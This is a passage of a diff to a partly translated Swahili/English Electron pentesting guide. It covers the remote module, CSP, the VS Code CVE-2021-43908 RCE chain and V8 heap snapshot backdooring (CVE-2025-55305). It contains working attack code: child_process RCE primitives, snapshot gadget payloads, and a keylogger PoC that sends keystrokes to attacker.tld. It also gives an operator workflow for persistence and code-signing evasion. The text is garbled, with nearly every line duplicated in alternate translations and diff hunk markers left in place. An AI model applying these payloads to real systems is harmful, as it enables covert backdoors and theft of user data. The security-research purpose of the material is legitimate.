Kama ilivyoelezwa katika [nyaraka](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) kurasa zinazotumika kwa **`file://`** zina upatikanaji wa upande mmoja kwa kila faili kwenye mashine yako, ikimaanisha kuwa **masuala ya XSS yanaweza kutumika kupakia faili yoyote** kutoka kwenye mashine ya mtumiaji. Kutumia **itifaki maalum** kunazuia matatizo kama haya kwa sababu unaweza kuzuia itifaki hiyo kuhudumia seti maalum ya faili tu.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) kurasa zinazoendesha kwa **`file://`** zina ufikiaji wa upande mmoja kwa kila faili kwenye mashine yako, ikimaanisha kwamba **masuala ya XSS yanaweza kutumika kupakia faili zozote** kutoka kwa mashine ya mtumiaji. Kutumia **custom protocol** kunazuia matatizo kama haya kwani unaweza kuzuia protocol hiyo kutoa seti maalum tu ya mafaili.
## Moduli ya Remote
## Remote module
Moduli ya Remote ya Electron inaruhusu **michakato ya renderer kufikia APIs za main process**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuziwezesha moduli hii kunaleta hatari kubwa za usalama. Kunaongeza uso wa mashambulio ya programu, na kuifanya iwe nyeti zaidi kwa udhaifu kama vile cross-site scripting (XSS) attacks.
The Electron Remote module inaruhusu **mchakato za renderer kupata API za mchakato mkuu**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuamilisha module hii kunaleta hatari kubwa za usalama. Inapanua uso wa mashambulizi ya programu, kuifanya iwe rahisi kuathiriwa na vunjo kama mashambulizi ya cross-site scripting (XSS).
> [!TIP]
> Ingawa moduli ya **remote** inaonyesha baadhi ya APIs kutoka main kwenda renderer processes, si rahisi kupata RCE kwa kuchukua faida ya vipengele hivi peke yao. Hata hivyo, vipengele vinaweza kufichua taarifa nyeti.
> Ingawa **remote** module inaonyesha baadhi ya API kutoka main kwenda kwa renderer processes, si rahisi kupata RCE kwa kutumia tu vipengele hivyo. Hata hivyo, vipengele hivyo vinaweza kufichua taarifa nyeti.
> [!WARNING]
> Programu nyingi ambazo bado zinatumia moduli ya **remote** hufanya hivyo kwa njia inayohitaji **NodeIntegration** kuwa imewezeshwa katika renderer process, ambayo ni **hatari kubwa ya usalama**.
> Programu nyingi ambazo bado zinatumia remote module hufanya hivyo kwa njia inayohitaji NodeIntegration kuwezeshwa katika mchakato wa renderer, ambayo ni **hatari kubwa ya usalama**.
Tangu Electron 14, moduli ya `remote` ya Electron inaweza kuanzishwa kwa njia kadhaa; kutokana na sababu za usalama na utendaji, **inashauriwa kutoitumia**.
Tangu Electron 14, `remote` module ya Electron inaweza kuwa imeamilishwa kwa njia mbalimbali; kutokana na sababu za usalama na utendaji, inashauriwa **kutoitumia**.
Ili kuiwezesha, kwanza inahitajika **kuiwezesha katika main process**:
To enable it, it'd first needed to **enable it in the main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -320,37 +319,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Kisha, mchakato wa renderer unaweza import objects kutoka kwa module kama ifuatavyo:
Kisha, mchakato wa renderer unaweza kuagiza vitu kutoka kwa module kama ifuatavyo:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** inaonyesha baadhi ya **kazi** za kuvutia zilizoonyeshwa na kitu **`app`** kutoka moduli ya remote:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** inaonyesha baadhi ya **functions** za kuvutia zilizofichuliwa na kitu **`app`** kutoka kwenye remote module:
- **`app.relaunch([options])`**
- **Inarejesha** programu kwa **kutoka** kwa toleo la sasa na **kuanzisha** toleo jipya. Inafaa kwa **app updates** au mabadiliko makubwa ya **hali**.
- **Inarejesha** programu kwa **kutoka** kwenye mfano uliopo na **kuanzisha** mpya. Inafaa kwa **sasisho za app** au **mabadiliko makubwa ya hali**.
- **`app.setAppLogsPath([path])`**
- **Inabainisha** au **inaunda** saraka kwa kuhifadhi **app logs**. Logi zinaweza **kupatikana** au **kubadilishwa** kwa kutumia **`app.getPath()`** au **`app.setPath(pathName, newPath)`**.
- **Inaelezea** au **inaunda** saraka kwa kuhifadhi **app logs**. Logs zinaweza **kupatikana** au **kubadilishwa** kwa kutumia **`app.getPath()`** au **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Inasajili** executable ya sasa kama **mshughulikiaji chaguo-msingi** kwa **protocol** iliyotajwa. Unaweza kutoa **custom path** na **arguments** ikiwa zinahitajika.
- **Inasajili** executable ya sasa kama **default handler** kwa **protocol** iliyotajwa. Unaweza kutoa **custom path** na **arguments** kama inahitajika.
- **`app.setUserTasks(tasks)`**
- **Inaongeza** tasks katika **Tasks category** katika **Jump List** (kwa Windows). Kila task inaweza kudhibiti jinsi app inavy **zinduliwa** au ni **arguments** gani zinapitishwa.
- **Inaongeza** tasks kwenye **Tasks category** ya **Jump List** (Windows). Kila task inaweza kudhibiti jinsi app inavyofunguliwa (**launched**) au ni **arguments** gani zinapitishwa.
- **`app.importCertificate(options, callback)`**
- **Inaingiza** cheti cha **PKCS#12** kwenye **certificate store** ya mfumo (Linux tu). **Callback** inaweza kutumika kushughulikia matokeo.
- **Inaleta** cheti cha **PKCS#12** kwenye **certificate store** ya mfumo (Linux tu). **Callback** inaweza kutumika kushughulikia matokeo.
- **`app.moveToApplicationsFolder([options])`**
- **Inahamisha** programu kwenda **Applications folder** (kwa macOS). Husaidia kuhakikisha **standard installation** kwa watumiaji wa Mac.
- **Inahamisha** programu kwenda kwenye **Applications folder** (macOS). Inasaidia kuhakikisha **usakinishaji wa kawaida** kwa watumiaji wa Mac.
- **`app.setJumpList(categories)`**
- **Inaweka** au **inaondoa** **custom Jump List** kwenye **Windows**. Unaweza kubainisha **categories** kupanga jinsi tasks zinavyoonekana kwa mtumiaji.
- **Inaweka** au **inaondoa** **custom Jump List** kwenye **Windows**. Unaweza kubainisha **categories** ili kupanga jinsi tasks zinavyoonekana kwa mtumiaji.
- **`app.setLoginItemSettings(settings)`**
- **Inasanidi** ni executables gani zinazoanzishwa wakati wa **login** pamoja na **options** zao (macOS na Windows tu).
- **Inakonfigurisha** ni **executables** zipi zinazoanzishwa wakati wa **login** pamoja na **options** zao (macOS na Windows tu).
Example:
Mfano:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences moduli
Hii ndiyo **API kuu** ya kufikia mapendeleo ya mfumo na **kupeleka matukio ya mfumo** katika Electron. Mbinu kama **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, na **setUserDefault** zote ni **sehemu ya** moduli hii.
The **API kuu** ya kupata mapendeleo ya mfumo na **kutuma matukio ya mfumo** katika Electron. Mbinu kama **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, na **setUserDefault** zote ni **sehemu ya** moduli hii.
**Mfano wa matumizi:**
```javascript
@ -367,31 +366,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Inasikiliza** kwa **native macOS notifications** kutumia NSDistributedNotificationCenter.
* Kabla ya **macOS Catalina**, unaweza sniff **zote** distributed notifications kwa kuipatia **nil** kwa CFNotificationCenterAddObserver.
* Baada ya **Catalina / Big Sur**, sandboxed apps bado zinaweza **subscribe** kwa **matukio mengi** (kwa mfano, **screen locks/unlocks**, **volume mounts**, **network activity**, n.k.) kwa kujiandikisha notifications **kwa jina**.
* **Inasikiliza** notifikasi za asili za macOS kwa kutumia NSDistributedNotificationCenter.
* Kabla ya **macOS Catalina**, unaweza sniff **all** distributed notifications kwa kupitisha **nil** kwa CFNotificationCenterAddObserver.
* Baada ya **Catalina / Big Sur**, apps zilizowekwa ndani ya sandbox bado zinaweza **kujiandikisha** kwa **many events** (kwa mfano, **screen locks/unlocks**, **volume mounts**, **network activity**, nk) kwa kujiandikisha notifications **by name**.
### **getUserDefault / setUserDefault**
* **Inawasiliana** na **NSUserDefaults**, ambayo inahifadhi mapendeleo ya **programu** au **global** kwenye macOS.
* Inajihusisha na **NSUserDefaults**, ambayo inahifadhi mapendeleo ya **application** au **global** kwenye macOS.
* **getUserDefault** inaweza **kupata** taarifa nyeti, kama **mahali za faili za hivi karibuni** au **eneo la kijiografia la mtumiaji**.
* **getUserDefault** inaweza **retrieve** taarifa nyeti, kama **recent file locations** au **users geographic location**.
* **setUserDefault** inaweza **kubadilisha** mapendeleo haya, na kuathiri **usanidi** ya app.
* **setUserDefault** inaweza **modify** mapendeleo haya, ikiathiri **configuration** ya app.
* Katika **older Electron versions** (kabla ya v8.3.0), tu **standard suite** ya NSUserDefaults ilikuwa **inayopatikana**.
* Katika **older Electron versions** (kabla ya v8.3.0), tu **standard suite** ya NSUserDefaults ilikuwa **accessible**.
## Shell.showItemInFolder
Kazi hii inaonyesha faili iliyotolewa katika meneja wa faili, ambayo inaweza **kuitekeleza faili moja kwa moja**.
Kazi hii inaonyesha faili iliyotolewa katika file manager, ambayo inaweza kutekeleza faili hiyo moja kwa moja.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps zinapaswa kuwa na **Content Security Policy (CSP)** ili **kuzuia XSS attacks**. **CSP** ni **kitanzi cha usalama** kinachosaidia **kuzuia** **utekelezaji** wa **untrusted code** katika browser.
Apps za Electron zinapaswa kuwa na **Content Security Policy (CSP)** ili **kuzuia XSS attacks**. **CSP** ni standard ya usalama inayosaidia **kuzuia** **execution** ya **untrusted code** kwenye browser.
Kwa kawaida huwekwa katika faili ya **`main.js`** au katika templeti ya **`index.html`** na CSP ndani ya **meta tag**.
Kwa kawaida **imesanidiwa** katika faili ya **`main.js`** au katika template ya **`index.html`** na CSP ndani ya **meta tag**.
For more information check:
@ -403,14 +402,14 @@ pentesting-web/content-security-policy-csp-bypass/
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Mnyororo huu wa dunia halisi uliathiri Visual Studio Code 1.63 (CVE-2021-43908) na unaonyesha jinsi XSS moja inayosababishwa na markdown katika webview inaweza kuinuliwa hadi RCE kamili wakati CSP, postMessage, na scheme handlers vimetengenezwa vibaya. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Chain ya dunia halisi iliyoathiri Visual Studio Code 1.63 (CVE-2021-43908) inaonyesha jinsi XSS moja inayosababishwa na markdown katika webview inaweza kuongezwa hadi RCE kamili pale CSP, postMessage, na scheme handlers zikipangwa vibaya. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- Kwanza XSS kupitia webview CSP: CSP iliyotengenezwa ilijumuisha `style-src 'self' 'unsafe-inline'`, ikiruhusu inline/style-based injection katika muktadha wa `vscode-webview://`. Payload ilituma beacon kwa `/stealID` ili ku-exfiltrate extensionId ya webview lengwa.
- Kujenga URL ya webview lengwa: Kutumia leaked ID kujenga `vscode-webview://<extensionId>/.../<publicUrl>`.
- Pili XSS kupitia postMessage trust: webview ya nje iliamini `window.postMessage` bila ukaguzi mkali wa origin/type na ilipakia HTML ya mshambuliaji na `allowScripts: true`.
- Kupakia faili za ndani kupitia scheme/path rewriting: payload ilibadilisha `file:///...` kuwa `vscode-file://vscode-app/...` na kubadilisha `exploit.md` kwa `RCE.html`, ikitumia udhaifu wa path validation kupakia rasilimali ya ndani yenye ruhusa za juu.
- RCE katika muktadha ulio na Node: HTML iliyopakuliwa ilitekelezwa na Node APIs zikipatikana, ikitoa utekelezaji wa amri za OS.
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
```js
@ -418,7 +417,7 @@ Example RCE primitive in the final context
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Usomaji unaohusiana na masuala ya uaminifu ya postMessage:
Usomaji unaohusiana na matatizo ya kuamini postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
@ -426,14 +425,14 @@ Usomaji unaohusiana na masuala ya uaminifu ya postMessage:
## **Zana**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni zana ya kutambua misanidi isiyo sahihi na security anti-patterns katika programu zinazotegemea Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni plugin ya VS Code ya chanzo wazi kwa programu za Electron inayotumia Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kwa kuchunguza maktaba za third party zilizo hatarini
- [**Electro.ng**](https://electro.ng/): Unahitaji kununua
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni zana ya kutambua misanidi isiyo sahihi na anti-patterns za usalama katika Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni plugin ya chanzo wazi ya VS Code kwa Electron applications inayotumia Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kwa kukagua third party libraries zilizo hatarini
- [**Electro.ng**](https://electro.ng/): Unahitaji kuinunua
## Maabara
Katika [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) unaweza kupata maabara ya ku-exploit programu za Electron zilizo hatarini.
Kwenye [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) unaweza kupata maabara ya ku-exploit Electron apps zilizo hatarishi.
Baadhi ya amri zitakazokusaidia katika maabara:
```bash
@ -460,18 +459,18 @@ npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron na apps zinazotegemea Chromium hufanya deserialize ya prebuilt V8 heap snapshot wakati wa startup (v8_context_snapshot.bin, na hiari browser_v8_context_snapshot.bin) ili kuanzisha kila V8 isolate (main, preload, renderer). Kihistoria, integrity fuses za Electron hazikutumia snapshots hizi kama executable content, hivyo zilitoroka enforcement ya integriti inayotegemea fuses na ukaguzi wa OS wa code-signing. Kwa matokeo, kubadilisha snapshot kwenye install inayoweza kuandikwa na mtumiaji kulitoa execution ya code kwa siri na kudumu ndani ya app bila kubadilisha signed binaries au ASAR.
Apps zilizo kwenye msingi wa Electron na Chromium hufanya deserialize V8 heap snapshot iliyotayarishwa kabla wakati wa kuanzishwa (v8_context_snapshot.bin, na hiari browser_v8_context_snapshot.bin) ili kuanzisha kila V8 isolate (main, preload, renderer). Kwa kihistoria, integrity fuses za Electron hazikutambua snapshots hizi kama yaliyomo yanayotekelezeka, hivyo ziliepuka enforcement ya integriti ya fuses na ukaguzi wa OS code-signing. Kwa hivyo, kubadilisha snapshot kwenye usakinishaji unaoweza kuandikwa na mtumiaji kulitoa utekelezaji wa msimbo kwa siri na wa kudumu ndani ya app bila kubadilisha binaries zilizotiwa saini au ASAR.
Mambo muhimu
- Pengo la integriti: EnableEmbeddedAsarIntegrityValidation na OnlyLoadAppFromAsar huthibitisha JavaScript ya app ndani ya ASAR, lakini hazikujumuisha V8 heap snapshots (CVE-2025-55305). Chromium kwa namna sawa haifanyi integrity-check ya snapshots.
- Masharti ya awali ya shambulio: Kuandika faili kwa ndani kwenye saraka ya usakinishaji ya app. Hii ni kawaida kwenye mifumo ambapo Electron apps au Chromium browsers zinasakinishwa chini ya njia zinazoweza kuandikwa na mtumiaji (mfano, %AppData%\Local kwenye Windows; /Applications kwa tahadhari kwenye macOS).
- Athari: Utekelezaji wa kuaminika wa attacker JavaScript katika isolate yoyote kwa kuathiri builtin inayotumiwa mara kwa mara (gadget), kuwezesha kudumu na kuepuka ukaguzi wa code-signing.
- Sehemu zilizoathiriwa: Electron apps (hata kama fuses zimeshawashwa) na browsers zinazotegemea Chromium ambazo zinapakia snapshots kutoka maeneo yanayoweza kuandikwa na mtumiaji.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Kutengeneza snapshot hatari bila kujenga Chromium
- Tumia prebuilt electron/mksnapshot ili kompaila payload JS kuwa snapshot na kuandika juu v8_context_snapshot.bin ya application.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Mfano wa payload mdogo (thibitisha utekelezaji kwa kulazimisha crash)
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -485,11 +484,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- Utambuzi wa main process: Node-only globals kama process.pid, process.binding(), au process.dlopen zipo katika main process isolate.
- Utambuzi wa Browser/renderer: Browser-only globals kama alert zinapatikana wakati zinapoendeshwa katika document context.
Isolate-aware payload routing (endesha code tofauti kwenye main vs. renderer)
- Utambuzi wa main process: Node-only globals like process.pid, process.binding(), or process.dlopen zipo katika main process isolate.
- Utambuzi wa Browser/renderer: Browser-only globals like alert zinapatikana wakati zinapoendeshwa katika document context.
Mfano wa gadget inayochunguza uwezo wa Node wa main-process mara moja
Mfano wa gadget unaochunguza uwezo wa Node wa main-process mara moja
```js
const orig = Array.isArray;
@ -518,7 +517,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context data theft PoC (kwa mfano, Slack)
PoC ya wizi wa data katika Renderer/browser-context (mfano: Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -542,31 +541,27 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Mtiririko wa kazi wa Operator
1) Andika payload.js ambayo inandika juu ya builtin ya kawaida (mfano, Array.isArray) na hiari kupanga matawi kwa kila isolate.
Mtiririko wa Operator
1) Andika payload.js inayobadilisha builtin ya kawaida (mfano, Array.isArray) na kwa hiari uweke matawi kwa kila isolate.
2) Jenga snapshot bila vyanzo vya Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Badilisha/andika juu ya faili za snapshot za programu lengo:
- v8_context_snapshot.bin (huitumika kila wakati)
- browser_v8_context_snapshot.bin (ikiwa fuse ya LoadBrowserProcessSpecificV8Snapshot inatumiwa)
4) Zindua programu; gadget itaendesha kila wakati builtin iliyochaguliwa itapotumika.
3) Kubadilisha faili(ya) snapshot za programu lengwa:
- v8_context_snapshot.bin (inayotumika kila wakati)
- browser_v8_context_snapshot.bin (ikiwa fuse ya LoadBrowserProcessSpecificV8Snapshot inatumika)
4) Anzisha programu; gadget inatekelezwa kila wakati builtin iliyochaguliwa inapotumika.
Vidokezo na mambo ya kuzingatia
- Integrity/signature bypass: Faili za snapshot hazitendewi kama native executables kwa code-signing checks na (kihistoria) hazikuwa zimetengwa na fuses za Electron au udhibiti wa integrity wa Chromium.
- Persistence: Kubadilisha snapshot katika usakinishaji unaoweza kuandikwa na mtumiaji kwa kawaida huishi baada ya kuanzisha upya app na inaonekana kama app iliyosainiwa na halali.
- Chromium browsers: Dhana sawa ya kuingilia inatumika pia kwa Chrome/derivatives zilizowekwa katika maeneo yanayoweza kuandikwa na mtumiaji. Chrome ina mbinu nyingine za kupunguza integrity lakini kwa uwazi hutaja kuwa physically local attacks ziko nje ya threat model yake.
- Integrity/signature bypass: Faili za snapshot hazichukuliwi kama native executables na ukaguzi wa code-signing, na (kihistoria) hazikuwa zimefunikwa na fuses za Electron au udhibiti wa integrity wa Chromium.
- Persistence: Kubadilisha snapshot katika install inayoweza kuandikwa na mtumiaji kwa kawaida hudumu baada ya kuanzisha upya app na inaonekana kama app iliosainiwa, halali.
- Chromium browsers: Wazo sawa la uharibifu linatumika kwa Chrome/derivatives zilizosakinishwa katika maeneo yanayoweza kuandikwa na mtumiaji. Chrome ina mbinu nyingine za kupunguza matatizo ya integrity lakini waziwazi inaondoa mashambulizi ya kimwili ya eneo kutoka kwenye model yake ya vitisho.
Utambuzi na mbinu za kupunguza
- Tibu snapshots kama maudhui ya executable na uyajumlishie katika utekelezaji wa integrity (CVE-2025-55305 fix).
- Pendelea maeneo ya usakinishaji yanayoweza kuandikwa tu na admin; weka baseline na fuatilia hashes za v8_context_snapshot.bin na browser_v8_context_snapshot.bin.
- Gundua early-runtime builtin clobbering na unexpected snapshot changes; toa tahadhari wakati deserialized snapshots hazilingani na thamani zinazotarajiwa.
Ugunduzi na kupunguza
- Tibu snapshots kama maudhui yanayotekelezwa na uyajumuishe katika utekelezaji wa integrity (suluhisho la CVE-2025-55305).
- Pendelea maeneo ya usakinishaji yanayoweza kuandikwa tu na admin; tengeneza msingi na fuatilia hashes za v8_context_snapshot.bin na browser_v8_context_snapshot.bin.
- Gundua kubadilishwa kwa builtin mapema kwenye runtime na mabadiliko yasiyotegemewa ya snapshot; toa onyo wakati snapshots zilizo deserialized hazilingani na thamani zilizotarajiwa.
## **References**
## **Marejeo**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)